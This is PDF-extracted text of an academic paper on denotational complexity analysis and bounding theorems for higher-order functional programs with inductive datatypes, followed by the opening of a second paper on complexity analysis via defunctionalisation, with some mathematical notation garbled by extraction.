treemap(f, t) should be bounded by 1 + n · (1 + f(s)c), where n
is the number of nodes in t, s is the maximum size of all labels in t,
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and we write f(s)c for the cost of evaluating f on a natural number
of size s (the map runs f on an input of size at most s for each of
the n nodes, and takes an additional n steps to traverse the tree).

We take JtreeK = N∞ ×N∞, where we think of the pair (n, s)
as (number of nodes, maximum size of label), and use the mutual
ordering on pairs ((n, s) < (n′, s′) iff n ≤ n′ and s < s′ or n < n′

and s ≤ s′). The size function is defined as follows:

size(Emp) = (0, 0)

size(Node(n, (n0, s0), (n1, s1))) = (1 + n0 + n1,max{n, s0, s1}).

Let us write g(m, s) = J‖rec(. . . )‖K{t 7→ (m, s)}, so that
(J‖treemap‖K(f, (m, s)))c = g(m, s) + 1. We now show that
g(m, s) ≤ m(1 + f(s)c) by induction:

g(m, s)

=
∨

size z≤(m,s)

case(z,

Emp 7→ 1

Node 7→ 〈n, (n0, s0), (n1, s0)〉.(
1 + (f(n))c + (g(n0, s0))c + (g(n1, s1))c

)
= 1 ∨ ∨

1+n0+n1≤m
max{n,s0,s1}≤s

(
1 + f(n)c + (g(n0, s0))c + (g(n1, s1))c

)
≤

∨
1+n0+n1≤m

max{n,s0,s1}≤s

(1 + f(n)c+

n0 · (1 + f(s0)c) + n1 · (1 + f(s1)c))

≤
∨

1+n0+n1≤m
max{n,s0,s1}≤s

(1 + n0 + n1)(1 + f(max{n, s0, s1})c)

≤ m · (1 + f(s)c).

4.4 The Bounding Theorem for the Size-Based Semantics
The most basic correctness criterion for our technique is that a
closed source program’s operational cost is bounded by the cost
component of the denotation of its complexity translation. However,
to know that extracted recurrences are correct, it is not enough to
consider closed programs; we also need to know that the potential of
a function bounds that function’s operational cost on all arguments,
and so on at higher type. Thus, we use a logical relation. We
first show a simplified case of the logical relation, where for this
subsection only we do not allow datatype constructors to take
functions as arguments (i.e., drop the τ → φ clause from constructor
argument types φ). In Section 5, we consider the general case, which
requires some non-trivial technical additions to the main definition.

DEFINITION 2.

1. Let e be a closed source language expression and a a semantic
value. We write e vτ a to mean: if e ↓n v, then
(a) n ≤ ac; and
(b) v vval

τ ap.
2. Let v be a source language value and a a semantic value. We

define v vval
τ a by:

(a) () vval
unit 1.

(b) 〈v0, v1〉 vval
τ0×τ1 a if vi vval

τi πia for i = 0, 1.
(c) delay(e) vval

susp τ a if e vτ a.

(d) C(v) vval
δ a if there is a′ such that v vval

φC [δ] a′ and
size(C(a′)) ≤ a.1

(e) λx.e vval
σ→τ a if whenever v vval

σ a′, e[v/x] vτ a(a′).

THEOREM 7 (Bounding theorem). If e : τ in the source language,
then e vτ J‖e‖K.

Rather than proving this bounding theorem directly, in Section 5
we identify syntactic constraints on the complexity language which
allow the proof to be carried through (Theorem 12). Because the size-
based semantics satisfies these syntactic constraints (see Section 6.1),
Theorem 7 is a corollary of Theorem 12.

5. The Syntactic Bounding Theorem
Rather than proving the bounding theorem for a particular model,
such as the one from the previous section, we use a syntactic
judgement Γ ` E0 ≤T E1 to axiomatize the properties that are
necessary to prove the theorem. The rules are in Figure 5; we omit
typing premises from the figure, but formally each rule has sufficient
premises to make the two terms have the indicated type. The first
two rules state reflexivity and transitivity. The next rule (congruence)
says that term contexts of a certain form (in the sequel, congruence
contexts) are monotonic. The next three rules state the monoid laws
for C; we write E0 = E1 to abbreviate two rules E0 ≤ E1 and
E1 ≤ E0. The final three rules (which we call “step rules”) say that
a redex is bigger than or equal to its reduct. The first five congruence
contexts are the standard head elimination contexts used in logical
relations arguments (principal arguments of elimination forms) and
the next two say that + is monotone.

These preorder rules are sufficient to prove the bounding theorem,
and permit a variety of interpretations and extensions. If we impose
no further rules, then E0 ≤ E1 is basically weak head reduction
from E1 to E0 (plus the monoid laws for C). We can also add rules
that identify elements of datatypes, in order to make those elements
behave like sizes. For example, for lists of ints, we can say

E ≤ Cons(_, E) Cons(E1, E) ≤ Cons(E2, E)

and extend the congruence contexts with Cons(x, C). Then the
second rule equates any two lists with the same number of elements,
quotienting them to natural numbers, and the first rule orders these
natural numbers by the usual less-than. Thus, considered up to ≤,
lists are lengths.

Combining these rules with the ones used to prove the bounding
theorem, the recursor for lists behaves like a monotonization of
the original recursion (like the

∨
in the size-based complexity

semantics). For example, for any specific list value Cons(x, xs),
by the usual step rule, we have

E1[(x, xs, rec(xs,Nil 7→ E0,Cons 7→ p.E1))/p] ≤
rec(Cons(x, xs),Nil 7→ E0,Cons 7→ p.E1)

But we can derive Nil ≤ Cons(x, xs), so we also have

rec(Nil, . . .) ≤ rec(Cons(x, xs), . . .) (congr.)
E0 ≤ rec(Nil,Nil 7→ E0,Cons 7→ p.E1) (step)
E0 ≤ rec(Cons(x, xs),Nil 7→ E0,Cons 7→ p.E1) (trans.)

and similarly for non-empty lists that are ≤ Cons(x, xs). Thus,
when we quotient lists to their lengths, the congruence and step
rules for rec (used to prove the bounding theorem) imply that the
recursor is bigger than all of the branches for all smaller lists.

1 Our restriction on the form of φC allows us to conclude that this definition
is well-founded, even though the type gets bigger in clause (2d), because we
can treat the definition ofvval

δ as an inner induction on the values. Allowing
datatype constructors to take function arguments complicates the situation,
and in Section 5 we must define a more general relation.
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In Section 4, we used reasoning in the size-based semantics to
massage the recurrence extracted from a program into a recognizable
and solvable form. In future work, we plan to investigate how to
do this massaging within the syntax of complexity language, using
the rules we have just discussed and others. For example, while a
recursion bounds what it steps to on all smaller values, we do not
yet have a rule stating that it is a least upper bound. Here, we lay a
foundation for this by proving the bounding theorem for the small
set of rules in Figure 5.

5.1 The Bounding Relation
First, we extend Definition 2 to arbitrary datatypes. Fix a signature ψ.
We will mutually define the following relations:

1. e vτ E, where ∅ `ψ e : τ and ∅ `‖ψ‖ E : ‖τ‖.

2. v vval
τ E, where ∅ `ψ v : τ and ∅ `‖ψ‖ E : 〈〈τ〉〉.

3. v vval
φ,R E, where ∅ `ψ v : φ[δ] and ∅ `‖ψ‖ E : 〈〈φ〉〉[δ].

4. e vφ,R E, where ∅ `ψ e : φ[δ] and ∅ `‖ψ‖ E : ‖φ‖[δ]

In (3) and (4), R(∅ `ψ v : δ, ∅ `‖ψ‖ E : δ), is any relation; these
parts interpret strictly positive functors as relation transformers.

The definition is by induction on τ and φ. For datatypes, the
signature well-formedness condition ensures that datatypes are
ordered, where later ones can refer to earlier ones, but not vice
versa. Therefore, we could “inline” all datatype declarations: rather
than naming datatypes, we could replace each datatype name δ by
an inductive type µ[C of φ]. The logical relation is defined using
the subterm ordering for this “inlined” syntax. In addition to the
usual subterm ordering for types τ and functors φ, we have that
datatypes that occur earlier in ψ are smaller than later ones, and if
C : (φ→ δ) ∈ ψ, then φ is smaller than δ.

DEFINITION 3.

1. We write e vτ E to mean: if e ↓n v, then
• n ≤ Ec; and
• v vval

τ Ep.
2. We write v vval

τ E to mean:
• v vval

unit E is always true.
• 〈v0, v1〉 vval

τ0×τ1 E if vi vval
τi πiE for i = 0, 1.

• delay(e) vval
susp τ E if e vτ E.

• v vval
δ E is inductively defined by

C : (φ→ δ) ∈ ψ v vval
φ,−vval

δ
− E

′ C E′ ≤δ E

C v vval
δ E

• λx .e vval
τ0→τ1 E if for all v0 and E0, if v0 vval

τ0 E0 then
e[v0/x] vτ1 (E E0 ).

3. We write v vval
φ,R Ep to mean:

• v vval
t,R E if R(v,E).

• v vval
τ,R E if v vval

τ E (t not free in τ ).
• 〈v0, v1〉 vval

φ0×φ1,R
E if vi vval

φi,R
πiE.

• λx .e vval
τ→φ,R E if for all v0 and E0, if v0 vval

τ E0, then
e[v0/x] vφ,R (E E0 ).

4. We write e vφ,R E to mean: if e ↓n v, then
• n ≤ Ec; and
• v vval

φ,R Ep.

The inner inductive definition of v vval
δ E makes sense because R

occurs strictly positively in − vval
φ,R −, and because (by signature

formation) δ cannot occur in φ, so − vval
δ − does not occur

elsewhere in − vval
φ,R −. The relation on open terms considers

all closed instances:

5. For a source substitution θ : γ and complexity substitution
Θ : Γ, we write θ vsub

γ Θ to mean that for all (x : τ) ∈ γ,
θ(x) vval

τ Θ(x).
6. For γ ` e : τ and Γ ` E : ‖τ‖, we write e vτ E to mean that

for all θ : γ and Θ : Γ, if θ vsub
γ Θ, then e[θ] vτ E[Θ].

We write E :: J to mean that E is a derivation of any of the
judgements just described. Because the relation for function types
is a function between relations, derivations are infinitely-branching
trees. A subderivation of such an E is any subtree of E , which
includes any application of an→-type judgement. For example, if
E1 :: λx.e1 vval

τ→φ,R E1 and E :: v vval
τ E, then the derivation of

e1[v/x] vval
φ,R E1 E is a subderivation of E1.

Next, we establish some basic properties of the relation:

LEMMA 8 (Weakening).

1. If e vτ E and E ≤‖τ‖ E′ then e vτ E′.
2. If v vval

τ E and E ≤〈〈τ〉〉 E′ then v vval
τ E′.

Proof. Both clauses are proved simultaneously by induction on τ ,
using congruence for π0 [ ], π1 [ ] and [ ] E . See the full paper for
details.

LEMMA 9 (Compositionality).

1. e vφ,−vval
τ − E iff e vφ[τ ] E.

2. v vval
φ,−vval

τ −
E iff v vval

φ[τ ] E.

Proof. (1) follows by post-composing with (2), and (2) follows by
induction on φ. See the full paper for details.

5.2 The Fundamental Theorem
First we state two lemmas which say that, when applied to related ar-
guments, source-language map is bounded by complexity-language
map, and that source-language rec is bounded by complexity-
language rec.

LEMMA 10 (Map). Suppose:

1. x : τ0 ` v1 : τ1 and ∅ ` v0 : φ[τ0];
2. x : 〈〈τ0〉〉 ` E1 : 〈〈τ1〉〉 and ∅ ` E0 : 〈〈φ〉〉[〈〈τ0〉〉];
3. E :: v0 vval

φ,−vval
τ0
− E0;

4. Whenever E ′ is a subderivation of E such that E ′ :: v′0 vval
τ0 E′0,

v1[v′0/x] vval
τ0 E1[E′0/x]; and

5. mapφ(x.v1, v0) ↓n v.

Then n = 0 and v vval
φ[τ0] map〈〈φ〉〉(x.E1, E0). 2

Proof. The proof is by induction on φ. Lemma 3 shows that n = 0.
Omitted cases are in the full paper.

CASE: φ = τ → φ0 . Then v0 = λy.e0 and E proves that
for all v′ vval

τ E′, e0[v′/y] vφ0,−vval
τ0
− E0(E′). Since v0 =

λy.e0, v = λy. let(e0, z.mapφ(x.v1, z)), so we must show that
λy. let(e0, z.mapφ(x.v1, z)) vval

τ→φ0[τ0] map〈〈τ→φ0〉〉(x.E1, E0).
To do so, suppose w vval

τ F ; we must show that

let(e0[w/y], z.mapφ(x.v1, z)) vφ0[τ0] map‖φ0‖(x.E1, E0(F )).
(*)

2 We could have said mapφ(x.v1, v0) vφ[τ0] 〈0,map〈〈φ〉〉(x.E1, E0)〉 but
this version of the lemma avoids needing the symmetric copy of the step rule
for pairs.
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C ::=[ ] | π0 C | π1 C | C E | rec(C, C 7→ x.EC) | C + E | E + C

Γ ` E ≤T E
Γ ` E0 ≤T E1 Γ ` E1 ≤T E2

Γ ` E0 ≤T E2

Γ, x : T ′ ` C[x] : T Γ ` E0 ≤T ′ E1
(congruence)

Γ ` C[E0] ≤T C[E1]

Γ ` 0 + E =C E Γ ` E + 0 =C E Γ ` (E0 + E1) + E2 =C E0 + (E1 + E2)

Γ ` E0[E1/x] ≤T (λx.E0)E1 Γ ` Ei ≤Ti πi〈E0, E1〉
C : (Φ→ ∆) ∈ Ψ

Γ ` EC [mapΦ(y.〈y, rec(y, C 7→ x.EC)〉, E0)/x] ≤T rec∆(CE0, C 7→ x.EC)

Figure 5: Congruence contexts and the preorder judgement

Suppose

e0[w/y] ↓n0 w0 mapφ0(x.v1, w0) ↓n1 v′

let(e0[w/y], z.mapφ0(x.v1, z)) ↓n0+n1 v′

Since w vval
τ F , we have that E derives e0[w/y] vφ0,−vval

τ0
−

E0(F ) and hence we have a subderivation E0 of E such that E0 ::
w0 vval

φ0,−vval
τ0
− (E0(F ))p. We now verify that (4) holds for E0 so

that we can apply the induction hypothesis to to mapφ(x.v1, w0). So
suppose that E ′0 is a subderivation of E0 such that E ′0 :: w′0 vval

τ0 F ′0.
We need to show that v1[w′0/x] vval

τ0 E1[F ′0/x], and to do so it
suffices to note that E ′0 is a subderivation of E0, which in turn is a
subderivation of E .

We can now apply the induction hypothesis to conclude that
n1 = 0 and so:

n0 + n1 = n0 ≤ (E0 F )c =(map‖φ‖(x.E1, E0 F ))c

v′ vval
φ[τ0] map〈〈φ〉〉(x.E1, (E0 F )p) =(map‖φ‖(x.E1, E0 F ))p.

Using the step rule for pairs, these are the two conditions that must
be verified to show (*), so this completes the proof.

LEMMA 11 (Recursor). Fix a datatype declaration datatype δ =
C of φ. If v vval

δ E and for all C, eC vφC [δ×susp τ ] EC , then
rec(v, C 7→ x.eC) v rec(E,C 7→ x.1 +c EC)

Proof. By induction on v vval
δ E. The only case is

C : (φ→ δ) ∈ ψ v′ vval
φ,−vval

δ
− E

′ C E′ ≤δ E

C v′ vval
δ E (†)

Assume rec(Cv′, C 7→ x.eC) evaluates. Then by inversion and
Lemma 2 it was by

C v′ ↓0 C v′

mapφ(y.〈y, delay(rec(y, C 7→ x.eC))〉, v′) ↓0 v′′
eC[v′′/x] ↓n2 v

rec(C v′, C 7→ x.eC) ↓0+1+n2 v

(*)

Using the premise that CE′ ≤δ E from (†), the step rule for
datatypes, and congruence, we note that

rec(E,C 7→ x.1 +c EC)

≥ rec(C E′, C 7→ x.1 +c EC)

≥ 1 +c EC [map〈〈φ〉〉(y.〈y, rec(y, C 7→ x.1 +c EC)〉, E′)/x]

Let us write E∗ for map〈〈φ〉〉(y.〈y, rec(y, C 7→ x.1 +c EC)〉, E′).
Thus by congruence, transitivity, weakening, and the step rule for
pairs, it suffices to show

1 + n2 ≤ 1 + EC [E∗/x]c

v vval (EC [E∗/x])p

By congruence for +, for the first goal it suffices to show
n2 ≤ EC [E∗/x]c. Thus, if we can show eC[v′′/x] v EC [E∗/x],
then applying it to the third evaluation premise of (*) gives the
result. We can use our assumption that eC v EC , as long as we
show v′′ vval E∗. To do so, we use Lemma 10 applied to the second
evaluation premise of (*) with

v1 = v′

E1 = E′
v = y.〈y, delay(rec(y, C 7→ x.eC))〉
E = y.〈y, rec(y, C 7→ x.1 +c EC)〉

We have E :: v′ vval
φ,−vval

δ
− E′ from the second premise of (†).

Thus, to finish calling the theorem, we need to show that for all
R-position subderivations of E deriving v′1 vval

δ E′1,

〈v′1, delay(rec(v′1, C 7→ x.eC))〉 vval
δ×susp τ

〈E′1, rec(E′1, C 7→ x.1 +c EC)〉
By definition of value bounding at product types, weakening and
the step rule for pairs, it suffices to show

v′1 vval
δ E′1

delay(rec(v′1, C 7→ x.eC)) vval
susp τ rec(E′1, C 7→ x.1 +c EC)

The former we have, and for the latter by definition it suffices to
show

rec(v′1, C 7→ x.eC) vτ rec(E′1, C 7→ x.1 +c EC)

Because v′1 vval
δ E′1 is an R-subderivation of v′ vval

φ,−vval
δ
− E′,

and therefore a strict subderivation of C v′ vval
δ E, we can use the

inductive hypothesis on it, which gives exactly what we needed to
show.

THEOREM 12 (Bounding Theorem). If γ ` e : τ , then e vτ ‖e‖.

Proof. By induction on the derivation of γ ` e : τ . In each case we
state the last line of the derivation, taking as given the premises of
the typing rules in Figure 1. Omitted cases are in the full paper.
CASE: γ ` rec(e, C 7→ x.eC) : τ . We need to show

rec(e[θ], C 7→ x.eC [θ, x/x]) v 〈Ec + (Er)c, (Er)p〉
whereE = ‖e‖[Θ] andEr = rec(Ep, C 7→ x.(1 +c ‖eC‖[Θ, x/x])).
Suppose
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e[θ] ↓n0 Cv0

mapφC (y.〈y, delay(rec(y, C 7→ x.eC [θ, x/x]))〉, v0) ↓0 v1

eC [θ, x/v1] ↓n2 v

rec(e[θ], C 7→ x.eC [θ, x/x]) ↓1+n0+n2 v

By the induction hypothesis e[θ] v E, so n0 ≤ Ec and
Cv0 vval Ep. By Lemma 2 we can derive

Cv0 ↓0 Cv0

mapφC (y.〈y, delay(rec(y, C 7→ x.eC [θ, x/x]))〉, v0) ↓0 v1

eC [θ, x/v1] ↓n2 v

rec(Cv0, C 7→ x.eC [θ, x/x]) ↓1+n2 v

So by Lemma 11 we have that 1 + n2 ≤ (Er)c and v vval (Er)p.
Putting these together, we have what we needed to show:

1 + n0 + n2 ≤ Ec + (Er)c v vval (Er)p

CASE: γ ` mapφ(x.v1, v0) : φ[τ1]. Because v1 is a sub-syntactic-
class of e, we can upcast it and apply ‖v1‖ to it, producing a
complexity expression. We must show that

mapφ(x.v1[θ, x/x], v0[θ]) v
〈0,map〈〈φ〉〉(x.‖v1‖[Θ, x/x]p, ‖v0‖[Θ]p)〉,

so suppose mapφ(x.v1[θ, x/x], v0[θ]) ↓n v. By transitivity, weak-
ening, and the step rule for pairs, it suffices to show:

n ≤ 0 v vval map〈〈φ〉〉(‖v1‖[Θ, x/x]p, ‖v0‖[Θ]p) (*)

We will apply Lemma 10 to mapφ(x.v1[θ, x/x], v0[θ]) ↓n v with

v0 = v0[θ]

E0 = ‖v0‖[Θ]p

v1 = v1[θ, x/x]

E1 = ‖v1‖[Θ, x/x]p

To establish condition (3) we apply the IH to v0 to conclude
that v0[θ] vφ[τ0] ‖v0‖[Θ]. Since v0[θ] is a value, by Lemma 2,
it evaluates to itself. Therefore v0[θ] vval

φ[τ0] ‖v0‖[Θ]p and so by
Lemma 9, v0[θ] vval

φ,−vval
τ0
− ‖v0‖[Θ]p.

To establish condition (4), assume v′0 vval
τ0 E′0 (which is

an R-subderivation of the above, but we won’t use this fact).
Using the substitution lemmas we need to show v1[θ, v′0/x] vval

‖v1‖[Θ, E′0/x]p. Since θ, v′0/x vsub Θ, E′0/x, the IH on v1 gives
v1[θ, v′0/x] v ‖v1‖[Θ, E′0/x] and since v1[θ, v′0/x] is a value,
it evaluates to itself, so v1[θ, v′0/x] vval ‖v1‖[Θ, E′0/x]p as we
needed to show.

Now we apply Lemma 10 to conclude (*).

6. Models of the Complexity Language
A model of the complexity language consists of an interpretation of
types as preorders, and of terms as maps between elements of those
preorders, validating the rules of Figure 5. The congruence contexts,
but not all terms, need to be monotone maps.

6.1 The Size-Based Complexity Semantics
We showed in Section 4 that the size-based semantics interpets the
syntax of the complexity language; it is also a model of the preorder
rules of Figure 5. Congruence is established by induction on C; we

do not need programmer-defined size functions to be monotonic,
because there is no congruence context for datatype constructors.

Jrec(CE0, x 7→ EC)Kξ

=
∨

size z≤size(CJE0Kξ)

case(z, (. . . , fC , . . . ))

≥ case(CJE0Kξ, (. . . , fC , . . . ))

= JECKξ{x 7→ JmapΦC (w.〈w, rec(w, x 7→ EC)〉, E0)Kξ}.
Verification of the preorder axioms is straightforward. Therefore,
Theorem 7 is a corollary of Theorem 12.

6.2 Infinite-Width Trees
Infinite-width trees can be defined by the declaration

datatype tree = Emp of unit | Node of int× (nat→ tree)

Though every branch in such a tree is of finite length, the height of
a tree is in general not a finite natural number. However, the size-
based semantics adapts easily to interpret tree by a suitably large
infinite successor ordinal, and then defining size(Node(x, f)) =∨
y∈JnatK f(y) + 1.

6.3 A Semantics Without Arbitrary Maximums
The language studied in Danner et al. (2013) can be viewed as a
specific signature in the present language. Their language has a
type of booleans, a type int of fixed-size integers, and a type list
of integer lists. As in Example 4.2, we can treat int and bool
as enumerated datatypes with unit-cost operations. The list type
is defined as a datatype and its case and fold operators are easily
defined using rec.

For this specific signature, we can give a semantics of the
complexity language in which we interpret list by N instead of
N∞. Set JNilKξ = 0 and JCons(E0, E1)Kξ = JE1Kξ + 1. Define
a semantic primitive recursion operator by rec(0, a, f) = a and
rec(n+ 1, a, f) = a ∨ f(n, rec(n, a, f)). Finally, set

Jrec(E)Kξ =

rec(JEKξ, JENilKξ, λλn,w.JEConsKξ{x, xs, r 7→ 1, n, w}).

where rec(E) = rec(E,Nil 7→ ENil,Cons 7→ 〈x, 〈xs, r〉〉.ECons).
Verifying the preorder rules from Figure 5 is straightforward in all
cases except the last; we verify the Cons case as follows:

Jrec(Cons(E0, E1))Kξ
= (JENilKξ{x 7→ 1})∨

(JEConsKξ{x, xs, r 7→ 1, JE1Kξ, rec(JE1Kξ, . . . )})
≥ JEConsKξ{x, xs, r 7→ 1, JE1Kξ, rec(JE1Kξ, . . . )}
= JECons[E0, 〈E1, rec(E1)〉/x, 〈xs, r〉]Kξ
= JECons[E0,map(y.〈y, rec(y)〉, 〈E0, E1〉)/x, xs, r]Kξ.

6.4 Exact Costs
If we wish to reason about exact costs, we can symmetrize the
inequalities in Figure 5 into equalities, and add congruence for all
contexts, which makes the E0 ≤ E1 judgement into a standard
notion of definitional equality. Then we can take the term model in
the usual way, interpreting each type as a set of terms quotiented by
this definitional equality. In this interpretation ‖e‖c is a recurrence
that gives the exact cost of evaluating e, but reasoning about such a
recurrence involves reasoning about all of the details of the program.

6.5 Infinite Costs
Next, we consider a size-based model in which we drop the “in-
creasing” requirement on the size functions from Section 4. Rather
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than requiring a well-founded partial order for each datatype, we
require an arbitrary partial order (Sτ ,≤τ ) which we also interpret
as a flat CPO (we do not require the interpretation of non-datatypes
to be CPOs). The interpretation of rec expressions is then in terms
of a general fixpoint operator. Define∞ =

∨
S∆ and identify∞

with the bottom element of the CPO ordering. In this setting it may
be that the interpretation of a rec expression does not terminate and
hence, by our identification, evaluates to∞. This turns out to be
exactly the right behavior, as we can see in the following example.

Take the standard inductive definition of nat and interpret nat
as some one-element set {1} in the complexity language. Now
compute the interpretation of the identity function:

J‖rec(y, Zero 7→ Zero, Succ 7→ x.Succx)‖K
= e(1)

=
∨

size z≤1

case(z,Zero 7→ (0, 1) | Succ 7→ 〈x, r〉.1 + ec(x))

where

e(x) = rec(x,Zero 7→ (0, 1) | Succ 7→ 〈x, r〉.(1 + rc, 1))

Since size(Succ(1)) = 1 ≤ 1, one of the case expres-
sions in the maximum is ec(1). In other words, we have a non-
terminating recursion in computing the complexity. We conclude
J‖rec(. . . )‖cK = ∞; in other words, we can draw no useful con-
clusion about the cost of this expression. What we have done in
this example is to declare that we cannot distinguish values of type
nat by size, and then we attempt to compute the cost of a recursive
function on nats in terms of the size of the recursion argument. The
bound given by the bounding theorem is correct, just not useful; it
does not even tell us that the computation terminates.

7. Related Work
There is a reasonably extensive literature over the last several
decades on (semi-)automatically constructing resource bounds from
source code. The first work concerns itself with first-order programs.
Wegbreit (1975) describes a system for analyzing simple Lisp pro-
grams that produces closed forms that bound running time. An
interesting aspect of this system is that it is possible to describe
probability distributions on the input domain and the generated
bounds incorporate this information. Rosendahl (1989) proposes a
system based on step-counting functions and abstract interpretation
for a first-order subset of Lisp. More recently the COSTA project
(see, e.g., Albert et al. (2012)) has focused on automatically com-
puting cost relations for imperative languages (actually, bytecode)
and solving them (more on that in the next section). Debray and Lin
(1993) develop a system for analyzing logic programs and Navas
et al. (2007) extend it to handle user-defined resources.

The Resource Aware ML project (RAML) takes a different
approach to the one we have described here, one based on type
assignment. Jost et al. (2010) describe a formalism that automatically
infers linear resource bounds for higher-order programs, provided
that the input program does in fact have a linear resource cost.
Hoffmann and Hofmann (2010) and Hoffmann et al. (2012) extend
this work to handle polynomial bounds, though for first-order
programs only, and Hoffmann and Shao (2015) extend it to parallel
programs. RAML uses a source language that is similar to ours,
but in which the types are annotated with variables corresponding
to resource usage. Type inference in the annotated system comes
down to solving a set of constraints among these variables. A very
nice feature of this work is that it handles cases in which amortized
analysis is typically employed to establish tight bounds, while our
approach can only conclude (worst-case) bounds.

Danielsson (2003) uses an annotated monad (similar to C×−)
to track running time in a dependently typed language, where size

reasoning can be done via types. He emphasizes reasoning about
amortized cost of lazy programs. He relies on explicit annotation of
the program, which our complexity translation inserts automatically,
and his correctness theorem is for closed programs, whereas we use
a logical relation to validate extracted recurrences.

We now turn to work that is closest in spirit to ours, focusing on
those aspects related to analysis of higher-order languages. Le Mé-
tayer’s (1988) ACE system is a two-stage system that first converts
FP programs (Backus 1978) to recursive FP programs describing
the number of recursive calls of the source program, then attempts
to transform the result using various program-transformation tech-
niques to obtain a closed form. Shultis (1985) defines a denotational
semantics for a simple higher-order language that models both the
value and the cost of an expression. As a part of the cost model,
he develops a system of “tolls,” which play a role similar to the
potentials we define in our work. The tolls and the semantics are
not used directly in calculations, but rather as components in a logic
for reasoning about them. Sands (1990) puts forward a translation
scheme in which programs in a source language are translated into
programs in the same language that incorporate cost information;
several source languages are discussed, including a higher-order
call-by-value language. Each identifier f in the source language is
associated to a cost closure that incorporates information about the
value f takes on its arguments; the cost of applying f to arguments;
and arity. Cost closures are intended to address the same issue our
higher-type potentials do: recording information about the future
cost of a partially-applied function. Van Stone (2003) annotates the
operational semantics for a higher-order language with cost informa-
tion. She then defines a category-theoretic denotational semantics
that uses “cost structures” to capture cost information and shows
that the latter is sound with respect to the former. Benzinger (2004)
annotates NuPRL’s call-by-name operational semantics with com-
plexity estimates. The language for the annotations is left somewhat
open so as to allow greater flexibility. The analysis of the costs is
then completed using a combination of NuPRL’s proof generation
and Mathematica. In all of these approaches the cost domain incor-
porates information about values in the source language so as to
provide exact costs. Our approach provides a uniform framework
that can be more or less precise about the source language values
that are represented. While we can implement a version that handles
exact costs, we can also implement a version in which we focus just
on upper bounds, which we might hope leads to simpler recurrences.

8. Conclusions and Further Work
We have described a denotational complexity analysis for a higher-
order language with a general form of inductive datatypes that yields
an upper bound on the cost of any well-typed program in terms of
the size of the input. The two steps are to translate each source-
language program e into a program ‖e‖ in a complexity language,
which makes costs explicit, and then to abstract values to sizes. A
consequence of the bounding theorem is that the cost component
of ‖e‖ is an upper bound on the evaluation cost of e. The bounding
theorem is purely syntactic and therefore applies in all models of the
complexity language. By varying the semantics of the complexity
language (and in particular, the notion of size), we can perform
analyses at different levels of granularity. We give several different
choices for the notion of size, but ultimately this is too important a
decision to take out of the hands of the user through automation.

The complexity translation of Section 3 can easily be adapted to
other cost models. For example, we could charge different amounts
for different steps. Or, we could analyze the work and span of
parallel programs by taking C to be series-parallel cost graphs,
something we plan to investigate in future work.

Another direction for future work is to handle different evaluation
strategies. Compositionality is a thorny issue when considering call-
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by-need evaluation and lazy datatypes, and as noted by Okasaki
(1998), it may be that amortized cost is at least as interesting as
worst-case cost. Sands (1990), Van Stone (2003), and Danielsson
(2003) address laziness in their work, and as we already noted,
RAML already performs amortized analyses.

We plan to extend the source language to handle general re-
cursion. Part of the difficulty here is that the bounding relation
presupposes termination of the source program (so that the deriva-
tion of e ↓n v, and hence cost, is well-defined). One approach
would be to require the user to supply a termination proof. Or,
one could define the operational semantics of the source language
co-inductively (as done by, e.g., (Leroy and Grall 2009)), thereby
allowing explicitly for non-terminating computations. Another ap-
proach is to adapt the partial big-step operational semantics de-
scribed by Hoffmann et al. (2012). Since our source language sup-
ports inductive datatype definitions of the form datatype strm =
Cons of unit→ nat× strm, adding general recursion will force
us to understand how our complexity semantics plays out in the
presence of what are essentially coinductively defined values. One
could also hope to prove termination in the source language by first
extracting complexity bounds and then proving that these bounds
in fact define total functions. Another interesting idea along these
lines would be to define a complexity semantics in which the cost
domain is two-valued, with one value representing termination and
the other non-termination (or maybe more accurately, known termi-
nation and not-known-termination); such an approach might be akin
to an abstract interpretation based approach for termination analysis.

The programs ‖e‖ are complex higher-order recurrences that
call out for solution techniques. Benzinger (2004) addresses this
idea, as do Albert et al. (2011, 2013) of the COSTA project. Another
relevant aspect of the COSTA work is that their cost relations use
non-determinism; it would be very interesting to see if we could
employ a similar approach instead of the maximization operators
that we used in our examples. Ultimately we should have a library of
tactics for transforming the recurrences produced by the translation
function to closed (possibly asymptotic) forms when possible.
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Abstract
We show how the complexity of higher-order functional programs
can be analysed automatically by applying program transformations
to a defunctionalised versions of them, and feeding the result
to existing tools for the complexity analysis of first-order term
rewrite systems. This is done while carefully analysing complexity
preservation and reflection of the employed transformations such
that the complexity of the obtained term rewrite system reflects on
the complexity of the initial program. Further, we describe suitable
strategies for the application of the studied transformations and
provide ample experimental data for assessing the viability of our
method.

Categories and Subject Descriptors F.3.2 [Semantics of program-
ming languages]: Program Analysis

Keywords Defunctionalisation, term rewriting, termination and
resource analysis

1. Introduction
Automatically checking programs for correctness has attracted the
attention of the computer science research community since the birth
of the discipline. Properties of interest are not necessarily functional,
however, and among the non-functional ones, noticeable cases are
bounds on the amount of resources (like time, memory and power)
programs need when executed.

Deriving upper bounds on the resource consumption of programs
is indeed of paramount importance in many cases, but becomes
undecidable as soon as the underlying programming language is
non-trivial. If the units of measurement become concrete and close
to the physical ones, the problem gets even more complicated,
given the many transformation and optimisation layers programs are
applied to before being executed. A typical example is the one of
WCET techniques adopted in real-time systems [54], which do not
only need to deal with how many machine instructions a program
corresponds to, but also with how much time each instruction costs
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Permission to make digital or hard copies of all or part of this work for personal or
classroom use is granted without fee provided that copies are not made or distributed
for profit or commercial advantage and that copies bear this notice and the full citation
on the first page. Copyrights for components of this work owned by others than ACM
must be honored. Abstracting with credit is permitted. To copy otherwise, or republish,
to post on servers or to redistribute to lists, requires prior specific permission and/or a
fee. Request permissions from permissions@acm.org.
ICFP’15, August 31 – September 2, 2015, Vancouver, BC, Canada.
Copyright © 2015 ACM 978-1-4503-3669-7/15/08. . . $15.00.
http://dx.doi.org/10.1145/nnnnnnn.nnnnnnn

when executed by possibly complex architectures (including caches,
pipelining, etc.), a task which is becoming even harder with the
current trend towards multicore architectures.

As an alternative, one can analyse the abstract complexity of
programs. As an example, one can take the number of instructions
executed by the program or the number of evaluation steps to
normal form, as a measure of its execution time. This is a less
informative metric, which however becomes accurate if the actual
time complexity of each instruction is kept low. One advantage
of this analysis is the independence from the specific hardware
platform executing the program at hand: the latter only needs
to be analysed once. This is indeed a path which many have
followed in the programming language community. A variety of
verification techniques have been employed in this context, like
abstract interpretations, model checking, type systems, program
logics, or interactive theorem provers; see [3, 5, 35, 50] for some
pointers. If we restrict our attention to higher-order functional
programs, however, the literature becomes much sparser.

Conceptually, when analysing the time complexity of higher-
order programs, there is a fundamental trade-off to be dealt with.
